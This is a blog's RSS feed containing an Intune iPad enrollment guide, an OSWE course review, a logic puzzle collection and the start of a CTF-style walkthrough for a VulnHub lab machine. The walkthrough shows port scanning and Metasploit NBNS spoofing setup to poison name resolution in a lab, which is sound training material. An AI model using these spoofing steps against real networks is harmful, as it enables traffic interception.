<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Daniel Solstad</title>
		<description>Stylish Jekyll Theme</description>
		<link>/</link>
		<atom:link href="/feed.xml" rel="self" type="application/rss+xml" />
		
			<item>
				<title>Setup and Manage iPads in Intune</title>
				<description>&lt;p&gt;The objective: Enroll iPad in Intune to be able to fully manage it and to force configurations and automatically push apps.&lt;/p&gt;

&lt;p&gt;This guide is created from reading multiple guides and forum posts, with also some assistance from support. And most of all, trying and failing. And since my knowledge about Apple and Intune was non-existent before this journey, it made things harder. Overall, the core of this guide is very loosely based on the following official guide: https://learn.microsoft.com/en-us/mem/intune/enrollment/apple-configurator-enroll-ios&lt;/p&gt;

&lt;p&gt;The whole connection and interplay with Apple Business Manager, Intune and Apple Configurator can be confusing, with multiple different settings and various tokens to tie things together. Intune itself can also be perplexing due to it not being a single concrete solution, but an umbrella term of multiple different parts. There is also a problem with calling support, because if you call Microsoft, they don’t know anything about Apple and if you call Apple they don’t know anything about Intune. However, one time I called Apple support and randomly the guy on the phone had worked with Intune before and was of great help. Thank you Sven!&lt;/p&gt;

&lt;p&gt;At first I thought enrolling iPads in Intune would be easy, by just installing Intune Company Portal on the iPads and signing in, like many guides and Youtube videos suggested. This was in fact easy, but this method provided extremely limited ability to enforce configurations. It came to my understanding that the intended way of enrolling Apple devices in an organization is to define a reseller in Apple Business Manager and buy devices through them where the devices are shipped pre-enrolled in the organization.&lt;/p&gt;

&lt;p&gt;After some more reading I came across a tool called Apple Configurator. The tool is free, but I had to get a personal AppleID and a Macbook to run it, because it’s only available through Apple Store. With this tool you can enroll devices by connecting them via USB-C to a Macbook with this software. I first tried the Direct Enrollment method, which didn’t require a disk wipe, but this method was also not sufficient enough to enforce the configurations I wanted. It was after doing the Setup Assistant enrollment method I finally got the results that I wanted, but it did require a disk wipe.&lt;/p&gt;

&lt;p&gt;Note that I have already enrolled one iPad, so don’t be confused when it shows two devices. New device with serial number H is the iPad which gets enrolled in this guide.&lt;/p&gt;

&lt;h1 id=&quot;setup-and-enrollment&quot;&gt;Setup and Enrollment&lt;/h1&gt;
&lt;p&gt;Follow these steps consecutively and keep in mind that there will be a lot of back-and-forth between the different tools. Also keep in mind that you will be logged out of Apple Business Manager after a very short time idling, so I recommend refreshing the page from time to time.&lt;/p&gt;

&lt;h2 id=&quot;1-apple-business-manager---enrolling&quot;&gt;1. Apple Business Manager - Enrolling&lt;/h2&gt;
&lt;p&gt;Before anything else, enroll your organization in Apple Business Manager. This is completely free and can be done by clicking ‘enroll now’ on business.apple.com. The form needs something called a DUNS number. What this is, how to request it, and how to look it up can be found here: developer.apple.com/support/D-U-N-S/ 
You can also expedite this whole process by calling Apple Support, but should not be needed.&lt;/p&gt;

&lt;h2 id=&quot;2-intune---mdm-push-certificate&quot;&gt;2. Intune - MDM Push Certificate&lt;/h2&gt;
&lt;p&gt;For Intune to be able to manage Apple devices, a MDM push certificate, signed by Apple, needs to be uploaded to Intune.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune01.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This procedure is straightforward by just following the steps shown when clicking on ‘Apple MDM Push certificate’. Download the signing request file from Intune, which you then upload to Apple to get a certificate back to upload to Intune.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune02.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;3-intune---enrollment-program-token&quot;&gt;3. Intune - Enrollment Program Token&lt;/h2&gt;
&lt;p&gt;There are two options under Bulk enrollment methods, and we will only be using Enrollment program tokens for this guide, even though we will be using Apple Configurator, as intuitively that may sound.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune03.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First we need to create a token to establish trust with Intune and Apple Business Manager. Under Enrollment program tokens, click on Add. You will see the following screen.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune04.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Grant permission, download the public key and insert your Apple ID. Keep this window open while we get the Apple token from ABM.&lt;/p&gt;

&lt;h2 id=&quot;4-apple-business-manager---setting-up-mdm&quot;&gt;4. Apple Business Manager - Setting up MDM&lt;/h2&gt;
&lt;p&gt;In ABM, click on your username bottom left and go to Preferences. Here, add a new MDM Server. Call it e.g. Intune. Upload the public key downloaded from Intune in the previous step and download the token from ABM. Go back to Intune and upload the Apple token to finish the token creation process.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune05.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While in ABM, we can set up automatic MDM assignments. Under Preferences &amp;gt; MDM Server Assignment, it’s possible to automatically enroll devices into different MDMs. In this example I have set up so that all iPads will be assigned to Intune. However, I don’t think I have gotten this automatic assignment to work, because it’s needed to manually assign the iPads later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune06.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;5-intune---enrollment-profile&quot;&gt;5. Intune - Enrollment Profile&lt;/h2&gt;
&lt;p&gt;Under Enrollment Program Tokens, click on the token created earlier. Under Profiles, create a new profile with the following settings.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune07.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We will go back here and assign the profile to the device after we have prepared the device with Apple Configurator.&lt;/p&gt;

&lt;h2 id=&quot;6-apple-configurator---prepare&quot;&gt;6. Apple Configurator - Prepare&lt;/h2&gt;
&lt;p&gt;Before setting enrolling devices, make sure you have an Apple ID associated with the organization. This can be created in Apple Business Manager.&lt;/p&gt;

&lt;p&gt;This application is used to directly enroll Apple devices to the organization via USB-C. It is only available for MacOS and can be downloaded from the Apple Store.&lt;/p&gt;

&lt;p&gt;Inside Apple Configurator, click the top left corner and choose Preferences. Add organization and choose ‘Generate a new supervision identity’. Then go to the Servers tab and create a dummy entry. Call it ‘test’ and leave the URL as default.&lt;/p&gt;

&lt;p&gt;The device cannot be prepared without a Wi-Fi profile. On the top menu, click on Actions &amp;gt; Profile. Find Wi-Fi and enter the details for the relevant Wi-Fi access point that the device will use.&lt;/p&gt;

&lt;p&gt;Connect an Apple device and click on prepare. Make sure to select Manual Configuration and deselect ‘Activate and complete enrollment’.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune08.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When asked for a network profile, locate the Wi-Fi profile created earlier.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune16.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The device will now be formatted and enrolled to Apple Business Manager.&lt;/p&gt;

&lt;p&gt;An excellent video of these steps can be found here: https://www.youtube.com/watch?v=x05S3pbkrSw&lt;/p&gt;

&lt;h2 id=&quot;7-ipad---setup&quot;&gt;7. iPad - Setup&lt;/h2&gt;

&lt;p&gt;On the iPad, go through the normal steps of setup until it shows the external management screen. Continue to step 8 and come back to the iPad when the iPad screen shows your organization name, after assigning the profile to the device in Intune.&lt;/p&gt;

&lt;h2 id=&quot;8-apple-business-manager---verify&quot;&gt;8. Apple Business Manager - Verify&lt;/h2&gt;
&lt;p&gt;Under Preferences, you will see the new device under the Apple Configurator MDM Server. This means we have enrolled the device in Apple Business Manager. However, it is not yet connected to Intune.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune09.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;9-apple-business-manager---change-mdm&quot;&gt;9. Apple Business Manager - Change MDM&lt;/h2&gt;
&lt;p&gt;Find the new device and click on Edit MDM Server, choose Intune.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune10.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now you will see that the device is moved to Intune, as such:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune11.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;10-intune---assign-profile&quot;&gt;10. Intune - Assign Profile&lt;/h2&gt;
&lt;p&gt;In Intune, you will soon see the new device under Enrollment program tokens &amp;gt; Intune &amp;gt; Devices. Select it and click on ‘Assign Profile’ and select the profile created earlier.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune12.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;11-apple-configurator---prepare-again&quot;&gt;11. Apple Configurator - Prepare again&lt;/h2&gt;
&lt;p&gt;If the iPad is not being enrolled at this stage, you need to prepare the device again, like in step 6. If you do this, then you also need to assign the device again to Intune in ABM, as in step 9.&lt;/p&gt;

&lt;h2 id=&quot;12-intune---verify&quot;&gt;12. Intune - Verify&lt;/h2&gt;
&lt;p&gt;If everything went well, you should now see the device in Intune. Make sure it has a profile assigned and that on ‘Removed from ABM’ says ‘No’. If it doesn’t have a profile assigned, go back to step 9.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune15.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;groups&quot;&gt;Groups&lt;/h1&gt;

&lt;h2 id=&quot;intune---create-group-and-assign-device&quot;&gt;Intune - Create Group and Assign Device&lt;/h2&gt;
&lt;p&gt;The easiest way to manage devices is to associate them with a group, which then devices are added to.&lt;/p&gt;

&lt;p&gt;In Intune, go to Groups and click ‘New group’. Set type to ‘Security’ and choose a name. Keep everything else default.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune17.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After the group is created, open the group and select Members. Click on ‘Add members’ and find the relevant device and add it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune18.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;apps&quot;&gt;Apps&lt;/h1&gt;

&lt;p&gt;To be able to push apps to devices, we first need to download a token from ABM, upload it to Intune. Then we need to get licenses for apps in ABM, which will then show up in Intune. From there the app can be assigned to the relevant groups.&lt;/p&gt;

&lt;h2 id=&quot;apple-business-manager---vpp-token&quot;&gt;Apple Business Manager - VPP Token&lt;/h2&gt;
&lt;p&gt;Download the server token from Payments and Billing, which we will upload to Intune in the next step.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune19.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;intune---vpp-token&quot;&gt;Intune - VPP Token&lt;/h2&gt;
&lt;p&gt;From Tenant Administration from the left side menu, click on Connectors and Tokens and go to Apple VPP Tokens. Click on Create, choose a name, enter your Apple ID and upload the VPP token downloaded from ABM in the previous step. The next steps should be straightforward.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune20.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After it is created, notice the three dots on the far right side. Click on Sync.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune21.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;apple-business-manager---purchase-apps&quot;&gt;Apple Business Manager - Purchase Apps&lt;/h2&gt;
&lt;p&gt;After the enrollment, there should be no Apple users signed into the iPad. And even if you created an Apple ID from Apple Business Manager and signed it into the device, installation from the App Store would be unavailable. Apps need to be purchased from Apple Business Manager via the Volume Purchase Program (VPP) and custom apps can be added in Intune.&lt;/p&gt;

&lt;p&gt;In ABM, click on Apps and Books. Search for the app you want, choose quantity and assign it to your organization.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune22.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;intune---apps&quot;&gt;Intune - Apps&lt;/h2&gt;
&lt;p&gt;If everything is configured correctly, the app should be visible under All Apps in Intune, with type ‘iOS volume purchase program app’.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune23.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Click on the apps and go to Properties. Scroll down and assign the app to the relevant group.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune24.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, the app should be pushed to the device.&lt;/p&gt;

&lt;h1 id=&quot;forced-configurations&quot;&gt;Forced Configurations&lt;/h1&gt;

&lt;h2 id=&quot;intune---chose-rules&quot;&gt;Intune - Chose Rules&lt;/h2&gt;
&lt;p&gt;From Intune, it’s possible to force configurations to the devices. And since the device is fully supervised, a wide range of possible configurations are available. In Intune, create a new Config Policy. Browse and choose the different desired configurations and assign the policy to the relevant groups.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/intune25.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here you can also setup rules to hide native built-in Apple apps, chose the layout of the home screen etc.&lt;/p&gt;
</description>
				<pubDate>Fri, 09 Dec 2022 00:00:00 +0000</pubDate>
				<link>/2022/12/09/Setup-iPad-Intune.html</link>
				<guid isPermaLink="true">/2022/12/09/Setup-iPad-Intune.html</guid>
			</item>
		
			<item>
				<title>Offensive Security AWAE/OSWE Review</title>
				<description>&lt;p&gt;I started the AWAE course before the &lt;a href=&quot;https://www.offensive-security.com/offsec/awae-2020-update/&quot;&gt;2020 update&lt;/a&gt; and bought the upgrade after my first exam attempt, which really improved the course, in regards to more modules, techniques and the introduction to a lab. Thus, I will focus this review on the post-update course.&lt;/p&gt;

&lt;p&gt;I want to start this by saying that the course was extremely good and I learned a ton, and I would recommend it to every pentester and bug bounty hunter out there, and even developers. The course takes you through real world zero day exploits in open source software, where they show how to chain small security issues into full unauthenticated RCE exploits to get a shell. However, the most fun part of the course is the lab with three computers for you to have a go at by yourself, like in the PWK labs.&lt;/p&gt;

&lt;h2 id=&quot;complaints&quot;&gt;Complaints&lt;/h2&gt;
&lt;p&gt;The biggest complaint I have heard for this course is that the main focus is whitebox testing, even after the upgrade where they added one blackbox module. This is true, but I personally don’t find the whitebox focus to be a bad thing. The course will teach you what is going on at the backend and what mistakes there might be, which will give you ammunition when performing a blackbox assessment. Also, I think more pentesters should start asking for the source code when performing real world security assessments, to make the assessment more efficient and thorough.&lt;/p&gt;

&lt;p&gt;The second complaint I have heard is that you will need to read a lot of source code and that the course doesn’t really go deep into teaching you how to efficiently look for vulnerabilities. I also had this impression after my first exam attempt, which I will talk about next, but overall I think the course teach you enough to pass the exam, but of course it will also depend on your prior skillset.&lt;/p&gt;

&lt;p&gt;My only wish is that the course would cover even more advanced techniques, and especially client-side attacks.&lt;/p&gt;

&lt;h2 id=&quot;exam&quot;&gt;Exam&lt;/h2&gt;
&lt;p&gt;There is no secret that the exam exist of two machines, where you will need to find a way to bypass authentication and then find a way to execute code to get a shell. On my first exam attempt I took down one of the machines after a couple of hours, and then used the remaining time on the other machine without getting any results. After this, I was irritated and felt that the machine was unfairly difficult. When I looked back at the course PDF, I saw that it would have helped me if I did &lt;em&gt;all&lt;/em&gt; the extra mile assessments, because I only did the ones I thought were relevant and fun.&lt;/p&gt;

&lt;p&gt;On my next exam, I got different machines and I got enough points to pass within the first day, and finished the last objective the morning after. I really enjoyed the exam and felt that they were on the perfect level of difficulty. They were indeed hard, but still doable, and also a lot of fun and realistic. Only the first couple of hours were stressful, because you have no clue what to do, but after a while you start to understand and it gets enjoyable. The next day I spent many hours on writing a huge professional report, which was probably overkill, but I’m one of those weird persons that enjoy writing nice reports.&lt;/p&gt;

&lt;h2 id=&quot;tips&quot;&gt;Tips&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;The exam requires you to write the whole attack chain for each machine in one script that automates the whole process, so make sure you are very comfortable in at least one language.&lt;/li&gt;
  &lt;li&gt;Do all the extra mile assessments in the course.&lt;/li&gt;
  &lt;li&gt;Try to find all the ways to exploit the machines in the course lab and write a full PoC script for them.&lt;/li&gt;
  &lt;li&gt;If you fail your first exam attempt, don’t give up. Have another go.&lt;/li&gt;
  &lt;li&gt;Try to enjoy the course and the journey.&lt;/li&gt;
&lt;/ul&gt;
</description>
				<pubDate>Thu, 15 Apr 2021 00:00:00 +0000</pubDate>
				<link>/certifications/2021/04/15/AWAE-OSWE-Review.html</link>
				<guid isPermaLink="true">/certifications/2021/04/15/AWAE-OSWE-Review.html</guid>
			</item>
		
			<item>
				<title>A collection of my favorite logical puzzles</title>
				<description>&lt;p&gt;I have heard a lot of logical puzzles over the years, and I have now compiled a list of my favorite ones. None of these puzzles have dumb answers, nor do they require a PhD in mathematics to solve. 
Most of them are probably well known, but I have rewritten them in my own words. If anyone has any input to more cool puzzle, then reach out!&lt;/p&gt;

&lt;h2 id=&quot;blue-eyes&quot;&gt;Blue Eyes&lt;/h2&gt;

&lt;p&gt;xkcd.com’s Blue Eyes puzzle is hard, mind-bending and beautiful. I have written an article about this puzzle before, where I presented my version of the puzzle text, my explanation of the official solution and my alternative solution. Check it out [here](&lt;a href=&quot;https://dsolstad.com/puzzle/2017/02/24/Blue-Eyes-Puzzle.html&quot;&gt;https://dsolstad.com/puzzle/2017/02/24/Riddles-in-the-Dark-Blue-Eyes.html&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-king-and-his-servants&quot;&gt;The King and his Servants&lt;/h2&gt;

&lt;p&gt;A king has 100 servants and wants to find out how smart they are. He says to them that they will be getting a hat that is randomly either red or blue placed on their head. They will then be standing in a line, facing the back of the head to the one in front of them. Starting from the servant in the back, the king will ask them which color they have on their hat. If they answer wrong, the servant would be shot. The amount of red and blue hats are random, and they cannot see their own hat color, but they can see every hat in front of them. They can also hear what the person behind them answered. They cannot communicate while standing there, other than answering “red” or “blue”, but they can come up with a strategy beforehand to make as many survive as possible. How can they guarantee that 99 servants has 100% chance of surviving?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/servants.png&quot; alt=&quot;Servants&quot; /&gt;&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
    This video shows a good explanation of the solution: https://www.youtube.com/watch?v=3-avaCx4Czk
&lt;/details&gt;

&lt;h2 id=&quot;three-guys-at-the-hotel&quot;&gt;Three Guys at the Hotel&lt;/h2&gt;

&lt;p&gt;Three men goes to the reception of a hotel to get a room. The clerk says it costs $30 and each men gives the clerk $10. The men goes up to the room, but now the clerk remembers that the room is for sale right now and costs only $25. He then sends $5 with the bellboy up to the room to give to the men. The bellboy thinks that he can’t divide $5 on three men, so he keeps $2 for himself and give the men $1 each.&lt;/p&gt;

&lt;p&gt;So to sum this up: Each men has payed $9 each, because they got $1 back. That is $27. The bellboy has $2, which brings the total at $29. Where is the last $1?&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
    This puzzle is a bit mind bending and confusing. I remember hearing it from my high school teacher, where he said that the answer was just the way numbers work. However, that is not the case at all. The trick on this puzzle is how the last statement is framed. Saying that the bellboy has $2 is not correct, because the men has already payed for those. What should be correct is to say that 3 x $27 - $2 = $25.
&lt;/details&gt;

&lt;h2 id=&quot;the-blind-man-with-the-pills&quot;&gt;The Blind Man with the Pills&lt;/h2&gt;

&lt;p&gt;A blind man has 4 pills in his pocket. 2 red and 2 blue. He must swallow 1 red and 1 blue pill to survive. If he swallows two of the same color, he dies. He is alone. No one can help him. The pills has the same texture and smell. Time isn’t really an issue, but let’s say he has 2 minutes to swallow the correct pills before he dies. How can he guarantee that he survives?&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
    He picks up one pill at the time and breaks them in two. He then separates the two halves in different piles and consumes one pile. Since each pile contains 1/2 Red + 1/2 Red + 1/2 Blue + 1/2 Blue = 1 Red + 1 Blue, he survives.
&lt;/details&gt;

&lt;h2 id=&quot;the-mountain-climber&quot;&gt;The Mountain Climber&lt;/h2&gt;

&lt;p&gt;A mountain climber is on top of a mountain which is 200 meters tall. 100 meters below him is a platform he can stand on. Both the top of the mountain and the platform has a hook he can tie a rope to. The climber has a knife and a rope that is 150 meters long. How can he get all the way down? Note that he cannot jump several meters down and the rope needed to tie knots is too insignificant to matter.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/climber.png&quot; alt=&quot;Climber&quot; /&gt;&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
  He cuts the rope so that he has one that is 100 meters and one of 50 meters. He then ties the 50 meter rope to the top hook and creates a loop of the 100 rope, which he ties the 50 meter rope to. The length of this joint rope is now 100 meters and he can get down to the platform. He can now untie or cut the 100 meter rope loop and drag in it until it comes off the 50 meter rope. He can now get to the bottom by tying the 100 meter rope to the hook at the platform and get safe down.

![Climber solution](/images/climber_sol.png)
&lt;/details&gt;

&lt;h2 id=&quot;variable-swapping&quot;&gt;Variable Swapping&lt;/h2&gt;

&lt;p&gt;This is more of a programming puzzle, but doesn’t really require much programming skills. The task is simple: Two variables (a and b) can have any single value, be it a digit or a character. Swap the values of these variables without using any existing functions, arrays or creating new variables. Also, a,b=b,a is not allowed, as you can do in Python. I have verified that it works in C/C++, PHP and Perl, so think in C-style languages.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'a'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'b'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
  An example code can be found &lt;a href=&quot;http://codepad.org/QWPwIPx3&quot;&gt;here&lt;/a&gt;. The ^ sign is the XOR operator, which will convert the character to binary in C-based languages. However, with digits instead of characters it will probably work in any language and you can use basic addition and subtraction as well.  
&lt;/details&gt;

&lt;h2 id=&quot;the-brothers&quot;&gt;The Brothers&lt;/h2&gt;

&lt;p&gt;You are on the way to the beautiful city Oslo and are at a crossroads, where the road splits in two. You don’t know the way. However, there are two brothers living next to the road who knows. One of them always tells the truth and the other one always lies. You don’t know who is who and you can ask one of them only one question. What can you ask to get in the right direction to Oslo?&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
 You can simply ask one of them &quot;What would your brother say was the way to Oslo?&quot; and then go the other way of what was answered.
 If you asked the brother who always told the truth, then he would say the answer that the lying brother would give, which would be the wrong way. If you would ask the lying brother, he would lie about the correct answer the honest brother would give, and then give you the wrong path. 
&lt;/details&gt;

&lt;h2 id=&quot;squares&quot;&gt;Squares&lt;/h2&gt;

&lt;p&gt;Imagine that the following lines are matchsticks. The task it to move two of them to form 4 equally big fully squares, with no spare parts and no partial squares.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/squares.png&quot; alt=&quot;Squares&quot; /&gt;&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;

The solution is actually very simple, but people usually spend way to much time solving it.  
![Squares solution](/images/squares_sol.png)
&lt;/details&gt;

&lt;h2 id=&quot;555550&quot;&gt;5+5+5=550&lt;/h2&gt;

&lt;p&gt;Make the equation 5+5+5=550 valid by drawing one straight line anywhere. Note that it is not allowed to draw a line over the equal sign.&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;
  545+5=550
&lt;/details&gt;

&lt;h2 id=&quot;the-man-and-the-window&quot;&gt;The Man and the Window&lt;/h2&gt;

&lt;p&gt;A man has a house and on the wall there is a square windows that is 1 meter tall and 1 meter wide. However, he wants to double the size of the window to get more light in, but still want it to be 1 meter tall and one meter wide. How can he achieve this? Note that the window must be square and flat just like a traditional window.&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Solution&lt;/summary&gt;

 This is probably the weakest puzzle on the list, with a bit of an unsatisfying answer, but I still find it amusing.  
![Squares solution](/images/window_sol.png)
&lt;/details&gt;
</description>
				<pubDate>Thu, 01 Oct 2020 00:00:00 +0000</pubDate>
				<link>/puzzle/2020/10/01/Collection-Favorite-Puzzles.html</link>
				<guid isPermaLink="true">/puzzle/2020/10/01/Collection-Favorite-Puzzles.html</guid>
			</item>
		
			<item>
				<title>Walkthrough of Leopold</title>
				<description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;

&lt;p&gt;Leopold was the second machine I created for my &lt;a href=&quot;https://www.vulnhub.com/series/sp,189/&quot;&gt;SP series&lt;/a&gt; in late 2018, and I think it’s the most popular of my machines. There are many walkthroughs out there for Leopold, but I wanted to show how I intended to solve it, but I have also made the walkthrough from an objective standpoint. Leopold is very different from any other VM that I have seen on VulnHub due to it’s client-side aspect and will teach a real-world attack vector commonly used in penetration tests. Lastly, I would personally view this VM as easy in difficulty, but I have seen people complain about this. However, I think this is due to the unfamiliarity with this kind of exploitation.&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;After finding the server on the network, we do a port scan to determine the services running:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sTV&lt;/span&gt; 192.168.0.31 &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p-&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The smb service doesn’t yield anything useful, other than that it’s a Linux machine, due to the Samba implementation of SMB. Where do we go from here? Let’s fire up Wireshark to see if we can learn anything from there.&lt;/p&gt;

&lt;p&gt;After some minutes we can see that there is a NBNS request for DISNEYWORLD made from leopold:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;192.168.0.31 192.168.0.255 NBNS 92 Name query NB DISNEYWORLD&amp;lt;00&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;setting-up-man-in-the-middle&quot;&gt;Setting up Man-in-the-middle&lt;/h2&gt;

&lt;p&gt;Netbios Name Service (NBNS) is like DNS, but simpler and decentralized. Instead of asking a server for hostname resolution, it sends out a broadcast asking the whole network if they know which IP-address a hostname resolves to. It is usually used together with LLMNR and mDNS as backup if a DNS request would fail. These protocols trusts the answers blindly, which makes them optimal for poisoning attacks to reroute the communication through our attacking machine.&lt;/p&gt;

&lt;p&gt;There are multiple tools we can use for this, but we will stick to a Metasploit module which was made exactly for this.&lt;/p&gt;

&lt;p&gt;Open Metasploit and use the auxiliary/spoof/nbns/nbns_response module. Set REGXP to “disneyworld” and SPOOFIP to your own attacking IP address. Keep Wireshark before writing “run” and hitting enter to start the module.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf5 auxiliary&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;spoof/nbns/nbns_response&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; options 

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;auxiliary/spoof/nbns/nbns_response&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name       Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;       &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   INTERFACE                   no        The name of the interface
   REGEX      disneyworld      &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;Regex applied to the NB Name to determine &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;spoofed reply is sent
   SPOOFIP    192.168.0.32     &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;IP address with which to poison responses
